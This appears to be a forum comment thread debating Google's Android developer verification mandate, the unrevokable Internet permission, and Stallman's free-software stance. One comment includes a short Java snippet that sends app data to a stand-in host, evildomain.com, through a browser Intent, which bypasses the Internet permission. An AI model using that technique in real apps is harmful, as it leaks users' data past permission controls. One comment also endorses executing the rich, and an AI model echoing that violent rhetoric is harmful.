Requiring public key registration for package name protects against package modification with malware. Typical issue - I want to download an app that's not on available "in my country" - because I'm on a holiday and want to try some local app, but my "play store country" is tied to my credit card and the developer only made it available in his own country thinking it would be useless for foreigners. I usually try to download it from APKMirror. APKMirror tries to do signature verification. But I may not find it on APKMirror but only on some sketchy site. The sketchy site may not do any signature verification so I can't be sure that I downloaded an original unmodified APK instead of the original APK injected with some malware.
Both of these can be done without actually scanning the package contents. They are essentially just equivalents of EV SSL certificates and DANE/TLSA from TLS world.
> Typical issue - I want to download an app that's not on available "in my country" - because I'm on a holiday and want to try some local app,
The solution here is just to get rid of artificial country limitations which make some users download APKs. None of those make sense in the online world anyways.
<< we will be confirming who the developer is, not reviewing the content of their app or where it came from
To be honest, it almost makes me wonder if the issue here is not related to security at all. I am not being sarcastic. What I mean is, maybe the issue revolves around some of the issue MS had with github ( sanctions and KYC checks ).
Google also used to show you which apps used Internet permission in Play Store. But they removed it, which makes it harder to notice which apps don't use it.
Google mostly doesn't let you deny permissions while running apps that require them; recently there's some permissions that you can pick at runtime. So it's not suprising that they don't let you deny this one, when they don't even show it in the store.
Oh man remember when the Play Store showed ALL permissions an app used BEFORE installation and Facebook's one was so long you had to scroll multiple times?
Even on the play store Google management has demonstrated they can, and will, "revoke" ownership. For example, when a single payment is blocked on your credit card because you did a charge-back against them. Then, suddenly, they point to a 250 page EULA "you agreed to" that describes what they mean by ownership: nothing at all.
> Every time I hear mentions of "safety" from the folks at Google, I'm reminded that there's a hidden Internet permission on Android that can neuter 95% of malicious apps
Of that they still refuse to sandbox the play store.
It's easy to see that there's a pattern on what they are copying from GrapheneOS.
> Of that they still refuse to sandbox the play store.
It's absolutely essential that Google Play Services have "root" permissions and circumvent the permissions system normal apps have. How else would Google have access to all of your data? :)
You can install unsigned apps on Windows just fine, maybe with one extra nag screen. Plenty of large open source projects don't sign their installers - VLC being one big example that many normal people use.
IIRC Windows is testing to turn that nag screen into a "no you don't". Which is such BS given all the evidence we have that malware vendors and bad actors have and continue to get their malware signed by MS because they simply can't reliably detect it.
MS has tried many things like this in the past, but they have backed out every time so far. Of course, that doesn't mean that we shouldn't complain about the attempts, but, for now, even the latest Windows fully allows installing unsingned software as easily (or very close) as signed software.
No you can’t enable it, nowadays developer just declare if they want internet permission. Before, user could say « no, I don’t want you to have internet access ».
It’s something possible only on grapheneos as far as I know.
> But it's hidden, apparently because keeping users from using it to block ads on apps is of greater concern to Google than keeping people safe.
The internet permission has nothing to do with ads? It's a hidden permission because:
1) Internet connection is so ubiquitous as to just be noise if displayed
2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar
It absolutely has to do with ads. While there are various ways to exfiltrate small amounts of data, the non-collaborative ones are rarely silent and most importantly, they won't let the app get responses (e.g. ads) back.
The main thing this permission would be used for would be blocking ads. Also distinguishing shitty apps that are full of ads from those that aren't. If there is a calculator that needs Internet and one that doesn't, which one are you going to use?
> The main thing this permission would be used for would be blocking ads.
This permission has existed for longer than runtime permissions. You have never been able to revoke it, it was just something you agreed to when you installed the app or you didn't install the app.
It was "removed" in that era because if every app requests the same permission, then nobody cares about it anymore. When every app asks for the same thing, users stop paying attention to it. So no, it had fuck all to do with ads because that was never a thing in the first place. And ad blocking doesn't require this permission, either.
> Also distinguishing shitty apps that are full of ads from those that aren't. If there is a calculator that needs Internet and one that doesn't, which one are you going to use?
You can still use it for this. Apps are required to declare the permission still, it's listed on the Play Store under the "permissions" section. Similarly the OS reports the same thing. Presumably F-droid or whatever else also has a list of permissions before you install, and it'll be listed there.
Although Google's own Calculator app requires Internet permission. Take that for what's it worth.
> 1) Internet connection is so ubiquitous as to just be noise if displayed
That doesn't make it any less useful.
> 2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar
I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it. But even if it is flawed, don't you think Google would be a bit more incentivized to make the Internet permission work as expected if people could disable it?
> I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it.
Uri uri = Uri.parse("https://evildomain.com/upload?data=DATA_GOES_HERE);
Intent i = new Intent(Intent.ACTION_VIEW, uri);
startActivity(i);
Happily uses the browser app to do the data send for you. Requiring apps to have all the permissions of the recipient of an Intent before being allowed to send it would be a catastrophic change to the ecosystem.
The effect of this would be to make all apps request all permissions because even if you are just using some other app for a particular feature you need, you have no control over what other permissions they might add which would suddenly break any intents you send them. The only defense would be to request everything.
You could very specifically ban ACTION_VIEW intents for web URIs from apps without an internet permission I guess. But does banning apps from linking to the web (to be opened in browsers) really seem like a good idea?
Similar changes have been done before, the security sandbox behaves differently based on the app's minimum/target API level for backwards compatibility.
That's also why there's a warning before installing really old apps, they may run with extra permissions.
I don’t see why you couldn’t disallow opening URL intents. App intents that enable to exfiltrate data should be cracked down on by Google, it’s basically a privilege escalation.
"No links to web uris allowed" would be a pretty intense restriction. Now the free calculator can't even link to the paid version on the app store. There's already precious few apps that don't really need internet access (usually simple tools apps that don't have ads) and this even further limits that set.
"Pop up a permission prompt every single time an app links out to a browser" is not going to be a thing that users like.
Yes, this is a little suspicious. But you just have the evil page redirect to google.com or something benign. To the user it looks like "huh, chrome just opened on its own."
Do we show this annoying popup (that the large majority of the time will be benign and just aggravate users) for all apps, or just those that don't request the internet permission?
Doing this for all apps would be wild. Doing this just for those that don't request the internet permission just encourages more apps to request it (it is basically universally used anyway). "Huh, why does my calculator need internet" has never actually been effective at helping people avoid malware at any meaningful scale.
90% of apps on your phone do not need to be apps. Facebook does not need to be an app. Instagram does not need to be an app.
This is a sober reminder that apps are executables code that is running on your phone with very little sandbox. Its not like a web browser.
We do not need to execute compiled binaries that are closed source to buy parking that one time. No, no we don't.
Why do we? Because as I've said - such apps are much more powerful than the web browser and can therefore be used as spyware or keyloggers. Most apps on Android, including most Google apps, can be regarded as spyware.
Companies don't want to give up their de facto malware they've built up, and now users are trained to just install whatever the fuck on their phone.
We have given software 1000x more permission than it needs to do want it does. And now, we sit back and complain about malware.
This starts with Google, this starts with Meta, this starts with big tech. They directly caused all this malware by forcing users into downloading executables so they can exfiltrate your key presses.
I mean, I just did a quick look over the installed apps on this phone and ~1/4 of them would work perfectly well without an internet connection, things like a level or GPS speedometer that use the phone sensor or apps for Bluetooth control of devices [like 0] . Why would something like a bubble level app need internet access for anything besides telemetry or ads? I realize I have way more of these types of apps than the average user, but apps like this aren't a super-niche thing that would be on 0.1% of devices.
I just tend to give Google little benefit of the doubt here, considering where their revenue comes from. Same as when they introduced manifest v3, ostensibly for security but just conveniently happening to neuter adblocking. Disabling access to the internet permission for apps aligns with their profit motive.
There's plenty of actually problematic stuff Google does (like this change in the article), there's no need to make up whack ass conspiracy theories, too.
The internet permission is the only regular manifest permission you can't toggle in the settings. It is an obvious win for an advertising/surveillance company like Google. What is wack about it?
> The internet permission is the only regular manifest permission you can't toggle in the settings.
That's not even a little bit true? There's a ton of 'normal' permissions, almost none of which are user-overrideable. Like, say, android.permission.VIBRATE. Or android.permission.GET_PACKAGE_SIZE. Android has an obscene number of permissions ( https://developer.android.com/reference/android/Manifest.per... ) and almost none of them have a UI to control them nor any ability to be rejected
> It is an obvious win for an advertising/surveillance company like Google. What is wack about it?
How, exactly? How does Google benefit from random 3p apps having Internet access? And remember, Google has play services on every device to proxy anything it needs/wants.
half of the random 3p apps include Google advertising SDKs. How do you reconcile the fact that the internet permission still cannot be toggled, almost 20 years after it was required in the app manifest?
Huh? Not sure how this qualifies as "whack ass". There's an internet permission built in to the OS that Google chose to not expose to the user. The parent poster was claiming there is no reason anyone would want that permission, I then pointed out a whole category of apps that don't need internet to function for anything besides ads and telemetry. All of this is factual info.
So rather than just dismissing the argument via insulting language, can you provide a reasonable alternative explanation for why this setting isn't exposed to the user?
The internet permission is exposed to the user, it just can't be revoked by the user. But that's true of like 100 other permissions, too. It's the default case that permissions are not revokable.
And I did provide 2 reasons why that's the case for Internet specifically, neither of which were even attempted to be refuted in this comment chain
I would really like to deny internet access for apps like mx player. The frequency of ads on that app once Times group bought is the worst I've seen in my entire life. One of the best video players on Android, ruined.
Some chinese skins do offer the ability to revoke internet access for apps. I wonder why the western ones don't?
OK, so this is getting ridiculous. The internet permission isn't exposed to the user, unless you are saying that 'exposed to the user' is the same as 'system default and can't be modified'. The user has no way to see or modify that permission.
I pretty solidly refuted your first reason (internet connection is ubiquitious, apps don't need it). I pointed out that there are whole categories of apps that don't need a network connection. You never bothered to refute my argument and are now claiming that I didn't address that point. You claim it is a 'ubiquitous' permission, but haven't said why a level sensor app that just reads the MEMS gyro sensor would need a network connection at all. So that's point 1 sorted, which I already addressed and you are pretending wasn't refuted.
Point 2 was "2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar"
I never addressed this, because it seemed extraneous to the discussion. This data exfiltration is purely a hypothetical at this point, since apps can always rely on a network connection. Sure, if the network setting was exposed to the user and was able to be toggled, there might be ways to bypass that. But that is hypothetical, and relies on hypothetical security loopholes. No apps are currently doing this, since apps can't have their network permissions toggled. The possibility of potentially bypassing the system network permission toggle doesn't seem germane, since it's a hypothetical. To use your words, it's a 'whack-ass conspiracy theory' and not a germane concern.
You've resorted to ad-hominem by insinuating that my viewpoint as a conspiracy theory and haven't even attempted to address my point that there are whole categories of apps that don't need network connections. You also are trying to claim that I haven't addressed points you made, while ignoring my argument that rebutted those claims. I'm sorry, but since you want to engage in this way,why are you so addicted to the taste of Google boot leather? Why are you trying to say that Google doesn't want to protect its ad network? Android apps using Google adsense to serve ads to users clearly benefits them, I don't even see why this is controversial.
Google relies on ad money is a conspiracy? ... isn't that just... their business model? Like actually?
I mean, would you chop off your own foot? No? Then we should all be in agreeance. Google is definitely forcing network permission for every app to maximize their ad revenue.
The future for security conscious will be something like grapheneOS for phones, but a step further where the device can only securely connect to your home computer and access regular software there. If you must, run segregated, whitelist only networking, virtual machine apps
"we all know... Play Store... full of malicious garbage" - please point out how that statement is true, given we all know this apparently.
Yes, there are apps out there that try to trick the system and when you use them, instead of looking innocent, it's actually a casino app or something. But Google usually finds those. Are there any apps impersonating a bank? Because that is what regular people care about & think of when someone says "malicious".
They don't care if an app tracks what other apps are installed, what the user taps on, etc. Arguably they should care, but they don't lose money from it.
There's a reason Google is targeting a few specific countries with this first. Malware from APKs downloaded from the internet is more prominent in some countries than in others. The governments themselves are asking for this because educating the public has turned out to be an impossible task for them.
Still an awful solution that will get bypassed easily, of course. But there's more to this than "Google decided to be a bunch of dicks today".
A lot of people are pretending there is no malware problem and that Google should just do nothing and move on. That's not helpful.
This bullshit needs to be aborted as soon as possible, but a solution for mobile malware is desperately needed. The crutch used on desktop, invasive antivirus, doesn't work on Android unless it comes from the OS manufacturer, so we need a new solution.
The funny thing is Stallman started his fight like half a century ago and on regular days Hacker News shits on him eating something off of his foot and not being polished and diplomatic, and loves practical aspects of Corporate Open Source and gratis goodies and doesn't particularly care about Free Software.
On this day suddenly folks come out of the woodwork advocating for half baked measures to achieve what Stallman portrayed but they still hardly recognize this was EXACTLY his concern when he started the Free Software movement.
Stallman actively hurts the cause with his behaviour. I'm not only talking about his eccentricities, but also the adversarial and combative language. Yes, Amazon is trying to swindle us, but few people will be convinced of that when you start your argument by calling the kindle an "Amazon swindle" every time, directly implying that anyone who has one is an idiot or even malicious.
Yes, it's unfair that someone can be 100% correct but people won't listen to them because of their appearance or mannerisms. But whining about that unfairness is unproductive. People will never listen to someone who can't stop themselves from eating stuff from their foot in public.
I used to 100% feel the same, but at some point I realized the problem was me, not him, in not viscerally understanding his goals. His stated goals are very clear, but the audience usually has somewhat overlapping, but nevertheless distinct goals. This is indeed at the very core of Open Source-Free Software feud. The base is almost entirely the same people, yet the ideologies are not the same, and in a very interesting way: the differences are critical to RMS's ideology, but minute to the other side. Thus, the other side thinks of a crazy guy ruining the whole thing for nothing or very little, and evaluates him as net negative for "the cause." Well, it is absolutely true, for their cause, not his.
In fact, this particular incident, re Android, a seemingly "open" system, is a perfect example of the importance of his PoV in particular, as it illustrates that Open Source ideology would not have been enough to ensure the user is in control.
The problem is: you never get to have your goals or arguments listened to when you fail to represent yourself as a basic human. That means not putting weird stuff in your mouth on camera, not looking too unkempt, not being too belligerent before you get to your points – and never, never, never discussing the fine differences between ephebophilia and pedophilia on a mailing list.
His point of view and his goals are completely besides the point that he is unfit as a spokesperson for them.
Sadly. Because I agree with him quite a lot, and he does have good arguments.
No, that isn't the problem. The problem is that you are comparing a human in one corner (mortal, fallible, made of meat, imperfect, objectively poor) with a very large conglomerate of corporations on the other side (immortal, disembodied, transnational, legal staff on retainer, very, very wealthy, made of paper, hard to criticize in the same way that you could criticize a person). No corporation is even going to put weird stuff in their mouth on camera or look unkempt. They'll make their arguments, reasonably, legally watertight and accompanied with bags of money through their lobbyists.
Yes, he's a human. But what you are failing to mention is that those corporations are made up of humans. And don't just imagine the C-suite when I say that. I'm talking about the developers and other highly-technical positions who may care very little about what's good for the corporation they work for over the long term. Those people also have instincts around and standards for what they consider decent behavior. Many of them (just like most people from most walks of life) will just stop listening if the person making the argument seems actively antagonistic upfront even if they would agree with the main argument that person is making.
Diplomacy does matter whether you like it or not. Especially before the person or people you're trying to persuade have heard your argument.
No, the problem is that you’re thinking of this like Spock - purely logical. Humans aren’t logical. We absolutely trust/distrust each another based on appearances and mannerisms. This is not limited to RMS.
Those are only issues because you decided to make them the topic. It's all a distraction. Just focus on his message, which far more important than anything you're talking about.
One issue is your automated dehumanization of someone who doesn't match cultural norms as not being "basic human".
You continuing with culture that fundamentally dismisses/devalues humans is the main issue here. Culture change starts from within. He works as a spokesperson for me becahse I'm much more inclined to someone showing basic humanity, like eating off a foot, than someone showing basic inhumanity, like catering to preferences born inside a country (like the US) that was founded on genocide & enslavement.
I don't think Stallman is an effective spokesperson or campaigner for his own cause, though. Corporate-friendly open source has got enormously popular, to the point where the biggest open source collaboration platform, Github, is owned by Microsoft. Stallman is not troubling them. It's his own side he's driving to irrelevance.
There was a time getting bought up by a large company seems like a great success and exit strategy. Now days the only things that I want spend my time making are things that are useful for people around me, not things that are useful for industrial military and surveillance state.
Definitely, yes. That's a prime example of how corporate friendly open source has been massively successful. By contrast, the first entry on the FSF's high priority projects page is a free phone operating system. They point to Replicant, an Android fork that... does not look particularly active.
No, sorry. By and large, when people criticize RMS for his behavior, they aren't saying "RMS being deeply associated with Open Source makes it harder for me to convince my boss to get the company to switch to X FOSS software or donate to Y project". The Open Source side of things is way bigger than RMS now. He's inconsequential to their world.
No, just about everyone critiquing RMS's behavior is saying that it negatively affects his own movement. That it makes it more difficult to advocate for Free Software, that it diminishes the FSF.
> Well, it is absolutely true, for their cause, not his.
You have it backwards. Open Source is so much bigger than Free Software, that it's not even funny. The Open Source people are not scared of RMS affecting a movement widely accepted in almost every major tech company.
I would argue he's had unimaginable success in the context the movement started. Even Microsoft is fully on-board with that. It's just that the industry has grown beyond the original stakeholders to billions of people and the problem is now so much bigger and the goalposts have changed.
It's inconvenient to have to recognise that we are being f**ed in the ass by corporations like Amazon, but that doesn't make it any the less true unfortunately.
It's also a damn shame that the majority of the people who are skilled at communicating messages effectively are working for these corporations; because without them, the unfiltered message of people like Stallman is all we've got.
It is a damn shame, and it is also a choice. If that majority chooses to work for the corporations, perhaps humanity just does not deserve better. There isn't anyone else but us humans who can fix this thing. If we choose not to, it won't be fixed period.
I was always somewhat put off by his extreme vigilance over the word free. Stallmans usage of free software is exactly the same as the rest of the worlds open source. We also have “source available” for software that is license encumbered but distributes the source.
So much time and effort wasted on a fruitless effort to redefine words that already have well established meanings.
Stallman has mentioned this before that it is a limit of the English language. Thus the use of Libre.
Problem is that many people today do still mistake Free software as no cost and for good reason. Funnily enough, "open sourcesource" turns out to have great SEO. Free software doesn't.
There are so many ways one could work around this (apparent) limitation. Liberty software, unbound software, modifiable software. Go all in on libre rather than putting it in an awkward 'free/libre' combo - languages borrow words from each other all the time. Swap the order round and talk about software freedom, or digital freedom. Make a portmanteau like libreware...
I'm not especially good at this, and obviously 'free software' has the benefit of a few decades history among the people who actually know it. But almost anything seems better than a phrase which has a very obvious meaning that's not the one you meant, and the consequent need for fussy little explanations. Especially when most Free Software is also free software.
Alas this is something many have been debating for decades at this point. Unfortunately, there isn't a really clear answer. Both sides have good and bad points.
Stallman is a "prophet": he needs to be extreme and rigid in his ideology so that the world shifts to a more moderate middle ground. For GNU to actually change the world, they need to be a pole of extreme that is opposite to our status quo of capitalist consumption. You are not supposed to emulate him.
You see this phenomenon in every movement for societal change. The more dogmatic they are, the larger their effect on public opinion.
The fact that the modern programming world defaults to releasing their code using corporate-friendly OSS licences like MIT is thanks to Stallman's and GNU's campaigns.
You're exactly right. And what you're saying is sort of shifting my perspective on non-violent extremist movements that I usually find insufferable. You may not be able to stand them but you do need them.
That is entirely wrong and is a widespread misconception. The difference between free software and open source software is at the core of this 'android verified developer controversy' we are discussing here in a humongous thread. Stallman was warning us about exactly this sort of unethical arm twisting when he was policing the meaning of the word free software. (Somebody taught me this when I held this same misconception. But I was expecting moves like this ever since I understood the distinction.)
As you may be aware, the open source initiative started much after free software movement by people who disagreed with Stallman and the free software philosophy. The core idea of OSI is that by keeping the source code open, more people from a wider background can work on it to improve its quality in terms of features, design, correctness, bug reporting and fixing, security, documentation, etc. The idea is to make software more of a shared resource, thus achieving what is difficult for a single company to achieve. With that in mind, OSI borrows one more requirement from the FSF - there can't be any limitation on the user as to how they use it.
Now coming to the Free Software philosophy as defined by FSF, opening the source is just a secondary concern - a means to an end. That end, the primary concern, being computing freedom. What it means is that any computing device must do only and exactly what its owner wishes it to do. This means that the device owner must be able to verify the functionality of the software and modify it to suit them, if necessary (with 3rd party help, if needed). This is possible only if the device owner also has the source code of the software. But that's where the requirement for open source code ends for free software. If the author of the software and the device owner wishes, they can keep the source all to themselves. There are plenty of cases where this actually makes sense. Anyway, the people who possess the software are also allowed to distribute the software as they see fit.
As you can see, the computing freedom part is the centerpiece of the free software philosophy. But it isn't a concern at all for open source. I will explain why later. In practice, most licenses that satisfy one philosophy automatically meets the requirements of the other. Thus free software license list and open source license list overlap for the most part (with a few exceptions). But the philosophical differences extend well beyond the licenses and deep into the software design itself. If the device owner/software user is supposed to have any freedom, the software must be small, easy to read and understand, easily hackable and modifiable, well documented, highly modular with very good glue layer and highly configurable. This concept pervades the GNU software design. Emacs is the best example of this. Others include GNU Shepherd, Guile, Guix, Poke, GDB and a lot of others.
Now coming to open source, we have this notion that if the source code is open, it is pro-user and pro-freedom. This is true for most FOSS code, because their authors have more or less the same idea. But it's entirely possible to create an open source project that actively denies or even degrades the control of the device owner over their device, and thus their freedom. Take these examples - Android, Chrome browser (and its derivatives), SystemD and VSCode. How many of these projects listen to the public about their design choices? Which among them can you realistically fork and maintain as an individual or even as a company? (Not even MNCs try that with Chrome). How deeply and freely configurable are any of them? Are you able to remove or disable their user-hostile features? Are you able to use their submodules? Have your ever seen their code while troubleshooting or debugging? Have you been able to stop them from corrupting open standards and ecosystems? These are the open source non-free software .
Now, how did open source become popular in place of free software? Its proponents would have you believe that FSF is heavy on 'ideology'. Except, those ideologies were actually very stark warnings about the future. Open source became popular because the corporations used their enormous wealth to downplay, malign and suppress the idea of computing freedom. This is just like how they made permissive licenses popular over copyleft licenses. Both were driven by greed. If the suppression of copyleft licenses was about obtaining unpaid labor, suppression of computing freedom was about usurping the device owners' control over their own devices.
Now that we have problems like Google mandating developer verification on Android, or unilaterally deprecating XSLT from the web standards, know that they are all the result of everyone contemptuously dismissing Stallman as an attention seeking lone rebel when he was trying to draw attention to the oppression that he clearly foresaw. Heck! Even I could see this from a mile away! But this world is driven by hype and ill advised blind faith.
Your explanation of the differences is excellent and eye-opening. It should be posted on the FSF/GNU website.
I imagine a future where users will be able to tell a local AI to modify their software or make the comptuer do what they want. At first it seems like the final conclusion of extending device freedom to all users, but I suppose even LLMs would count as non-free software since they're basically blobs of unintelligible parameters...
If they were really the same, you should flip the question around. You do realize the Open Source folks invented that phrase explicitly to avoid using (and dare I say to undermine) the term Free Software?
That's news to me! But no. Open source philosophy isn't free software stripped of its ethics question. I have written an essay/article/novel/epic here: https://news.ycombinator.com/item?id=45027202
I'll point out a very practical case. I was once-upon-a-time interested in Nostr, because I liked the relay idea. I looked for a client, and found one called Amethyst. When I installed it, I saw the author had inserted a pop-up on load that had me agreeing to his "Terms and Conditions" for using "the service". But the author had no service...he was worried about his liability if I posted something. Stallman saw this coming! From the article above:
> Third, the criteria for open source are concerned solely with the use of the source code. Indeed, almost all the items in the Open Source Definition are formulated as conditions on the software's source license rather than on what users are free to do. However, people often describe an executable as “open source,” because its source code is available that way. That causes confusion in paradoxical situations where the source code is open source (and free) but the executable itself is nonfree.
> The trivial case of this paradox is when a program's source code carries a weak free license, one without copyleft, but its executables carry additional nonfree conditions. Supposing the executables correspond exactly to the released sources—which may or may not be so—users can compile the source code to make and distribute free executables. That's why this case is trivial; it is no grave problem.
His reasoning is squarely in this weird zone the Stallman wrote about:
> I am confused. Why are we mixing the license with the terms of use? These two files are separate legal matters. The Privacy is used by the Play Store to manage the distribution of the executables. The MIT license relates to the source code only.
> In other words, the MIT license removes any author liability from the misuse of the code. But when the author is also providing the system as binaries (which is an additional service in every jurisdiction I know of), there are many other legal issues that the source code license won't cover.
> And I don't know about you, but I am not comfortable allowing people to use the Play Store version or the FDroid version for these activities written in the Privacy statement. Most of them are local crimes that should not happen anyway.
> This has nothing to do with the source code license, which people can still download, compile and use in nefarious ways.
Anyway, my point is, in practice, there's a million ways to water down "open source" to remove user freedoms, and the value of Free Software is that it keeps the focus in the right place to avoid falling victim to those tricks.
Or you go shouting in the beer house every Tuesday about how the failed state is giving away your riches to others and that these communists are ruining the country. You then have your goons go beat up the communists for fun and when you get enough people behind you, you abuse a loop hole in the constitution which causes re-voting over and over again until you win majority power.
No revolutions turn out good for everyone, and there is no solution that fits all. Sometimes the rich and powerful needs to be dragged into the streets and executed, so they are reminded to be scared of the people under them. If they don't fear the population, then they see that there are no consequences for their actions.
> Stallman actively hurts the cause with his behaviour.
People arguing this should realize that actors fighting oh the other side of the war might act kind and use politically correct wording, but they're still eroding our freedom little by little.
Arguments like this ("his behaviour") really mean that people care about policing other people's behaviour more than they care about the actual topic being discussed.
Downvote me if you want, I don't care:
- Stallman, singlehandedly, did more than anybody else for freedom in the computing industry.
- People pushing those arguments a huge part of the problem.
- People like Stallman are a huge part of the solution.
Expecting someone who built what he did to be normal is even more ridiculous.
If he were normal he’d probably have ended up working at MS, IBM, Oracle.
Of course if his behavior bothers you then fork it and rewrite his work and maintain it then you have a laundered version of the same thing but you probably don’t care that much about his behavior to do that so it’s pointless to bring up.
Frankly I find it refreshing in a world where everyone is obedient to the corporate overlords to have someone who just doesn't give a shit and calls it out exactly the way he sees it.
Well if they are too stupid and ignorant to consider the meaningful content of what someone says and get so fixated on how they are disgusting (although it is obvious that he is doing that to attract attention and make what he says memorable), perhaps it is fitting that they lose all their freedoms.
It's possible to believe both that Stallman is over the top and that stuff like this Google action is bad, and even to be right on both. It's even easier to believe that Stallman has had some good ideas but is still a deeply flawed human being, and has also incidentally not been the most effective advocate for his own ideals.
It is possible, sure, but I have a feeling it goes unrecognized how prophetic and precise his concerns were, and that this is very similar to his original issue with the closed-source printer software he was not allowed to fix, and he does not get credit for his predictions, as people simply pass by, and not connect it to the Free Software issue, when issues like this happen; meanwhile he takes all the downsides of being brash and anti-corporate, which is taken advantage of by the Corporate Open Source crowd.
But Android is open source. In a way the situation here shows the limits of what is possible just by imposing license requirements that require distribution of source code. The problem is the concentration of power in the provision of services. Even licenses like the AGPL don't really solve the problem here, which is that there is a coalition of businesses including, say, Google and banks, that via their provision of essential services hold worrisome sway over the practical ability of many individuals to live their lives.
Stallman's statements about how the person controlling nonfree software "is your master" are important, but they don't go far enough. The problem is not just the controlling of abstract intellectual property like intellectual property rights to particular software. The problem includes the actual control of how services are provided. When the provision of important services --- be they auth, email, banking, groceries, whatever --- is concentrated in a few hands, those hands become masters of many, regardless of the software licenses involved.
Android is not open source. There is an android open source project, but it's not what you colloquially think of as Android. Its not the android you're running on your phone - in fact, I don't believe it can run on any phone currently produced on Earth. Its really more of a showcase, not a software.
Android is open source but not "free software" which is exactly on point. People have been fooled to think that open=respecting your freedoms, but there is no equivalency.
Basically my point is that it's not really about software. It's about access to things that are of practical use. Having a monopoly (or oligopoly) on hamburgers or hammers would be a similar problem. It's true that within the software realm, open source (or "free software" or whatever other term you want to use) increases access, but it doesn't in itself solve the problem.
The people writing the software need to eat and if they can't do that it doesn't matter what the license is, the software won't get written and no one will be able to use it. Moves like this thing by Google are about economics rather than licenses or abstract ideas like "freedom". A world with ten gazillion closed-source programs competing would likely be more free than one with tons of open source software but only one company that can pay a living wage so that people can work on that software.
> Even licenses like the AGPL don't really solve the problem here, which is that there is a coalition of businesses including, say, Google and banks, that via their provision of essential services hold worrisome sway over the practical ability of many individuals to live their lives
If Android was AGPL without source assignment, this wouldn't be an issue.
Thanks to the anti-tivoization clause manufacturers are required to provide you with the ability to run your own code on the device, without any restrictions, so you'd have a guaranteed right to root the device and sideload your own apps, without something like SafetyNet being able to figure it out.
Ask yourself how come free software is everywhere, with licenses for various stuff neatly tucked away out of sight unless you're trying to find it, not to mention all the giant clusters of Linux machines in data centers running Samba, PostgreSQL, and all sorts of free software, and at the same time the FSF still has just a small appartment on the 5th floor of a building in Boston?
I can understand why some devs would have tried to ignore the writing on the wall for Android over the last few years (hopefully not from now on), but it's especially galling when you see some of them still using the likes of Github and Discord...
He's not an open source advocate as such, but his work on consumer rights and enshittification promotes solutions like using open source software, right to repair and strong consumer protection regulations.
Which ideas? I've read ideas from him that were borderline scandalous. I wouldn't say that 100% of what he ever said was "completely spot on".
Now if we are talking about the subset of his ideas that were completely spot on, then yeah, they are completely spot on :-).
I guess my point is that one can agree with a subset of his ideas and still dislike the guy. And I don't see why those ideas couldn't live without him. Especially if they are completely spot on. I don't get the cult of personality, not only for Stallman.
Just talking about his views on software and technology. When it comes to stuff outside that, I get his logic but damn he misses on a lot of things. Some very notable over the years. ;)
There are people who have been pretty steady in their convictions over decades. Not that we have much illusions about the end game. Stallman has issues, but they're minor compared to the issues that the likes of Google, Apple, Facebook, Amazon and Microsoft have. But they get to hide their nasty little habits behind the corporate veil of respectability.
It's a sad state of affairs when a guy born in 1953 and a 70+ years old is our reference for freedom.
What happened to GenX, Millenials and GenZ ? Why aren't there any more vocal activists doing something? The internet fuked us up. We're full of armchair experts "fighting" the cause laying in our coach.
Millenials here. We did. A lot of a lot. And nobody cared.
Even today on HN most use chrome instead of firefox and mac instead of linux and. If you can't even convince the biggest nerds that supporting alternatives is important, what chances do you have?
Plenty of Gen Z caring about freedom, but unfortunately lot of them being deported from the U.S. for defending Palestinians.
I mean - Western world is a bit tougher place for protesting than it used to be, due to capital accumulation. Free SW is admirable but a pretty first world problem, unfortunately, low on the list of priorities.
"lot of them being deported from the U.S. for defending Palestinians."
Can you cite me a source for this? Specifically to show that there are a "lot" of them being deported, and that the cause is definitely "for defending Palestinians" and nothing else?
It is right to highlight the fight for libre software that Stallman championed.
The world would be a much, much worse place without Free Software. We own the obligation to keep the fight up. So many of us profit from it, and so many people depend on it.
This friend of mine dealt with S. - and found a completely irrational part. We tried to steer history for the best, S. let it flow (in that occasion, of course. He just would not listen).
That is severe understatement. Plenty of people and political activists are not polished and not diplomatic ... while still not reaching Stallmans levels. Majority of them, actually.
He can be mostly right but also terrible for his own cause at the same time. Anyone that doesn't see that must not know even the tiniest fraction of the stories, or like him also has a cognitive disability.
No, I hate this change from Google, and everyone involved with it should be ashamed of themselves, but Stallman is an extremest and I don't believe his world would be better than this one.
There's genuine need for application developers to gain access to extremely secure end-to-end attestation of the environment their apps are running in. Its a rare need, but it does exist. There's also genuine need for some consumers to opt-in to a strict security regime.
Google's change forces this draconian, dishonorable regime on all application developers and on all users. Its a change that serves no one except their shareholders.
If this is a thing then the solution they offer is incorrect. A big giant red screen: “warning the identity of this application developer has not been verified and this could be an application stealing your data, etc” would have worked.
What they want is to get rid of apps like YouTube Vanced that are making them lose money (and other Play Store apps)
> What they want is to get rid of apps like YouTube Vanced
I think it is also very telling where they're rolling out first. Brazil, Indonesia, Thailand, and Singapore.
It felt weird that the official press release was quoting entities from these countries, as if it should give confidence to the rest of the world. I can't imagine what these countries would want with apps that can be traced back to a government id...
Vanced and such is more of a First World/Western issue. I don't think you're wrong but I got a strong gut feeling there's other pressures in the works. Just something doesn't smell right...
Hm, not sure about that. I know from browser add-ons that markets like Brazil do suffer from increased scams, especially banking scams. I could see that this is also an issue for scam apps.
Firefox for instance does not allow you to install unsigned extensions. You don't need to list them on their storefront, but they want to perform automated tests and have the ability to block extensions through this signing requirement.
So in principle I can see them wanting to address a legitimate issue, but the way they are going about this is way to centralized. IMO they should do something like we have for web certificates, where vendors can add more root authorities than just the one from Google, and users should be able to add their own root certificates if they want to side load apps.
> I could see that this is also an issue for scam apps.
I don't deny that it can be used to reduce scams, but I think there are far better ways to solve this that don't give authoritarian countries extra powers. Thing is, signing doesn't actually address the problem. It is a way to track the problem, not prevent the problem. Don't confuse the two.
> Firefox for instance does not allow you to install unsigned extensions.
That's absolutely not true[0]. You need to sign the extension to publish it to their app store but you don't need it to install. Btw, the Playstore already does this too. Which I'm totally okay with!
You can temporarily install extensions in about:debugging, but everything permanent needs to be signed.
> Add-ons need to be signed before they can be installed into release and beta versions of Firefox. This signing process takes place through addons.mozilla.org (AMO), whether you choose to distribute your add-on through AMO or to do it yourself.
What you are saying now is different than what you said before. This exact distinction is identical to the conversation of Google too.
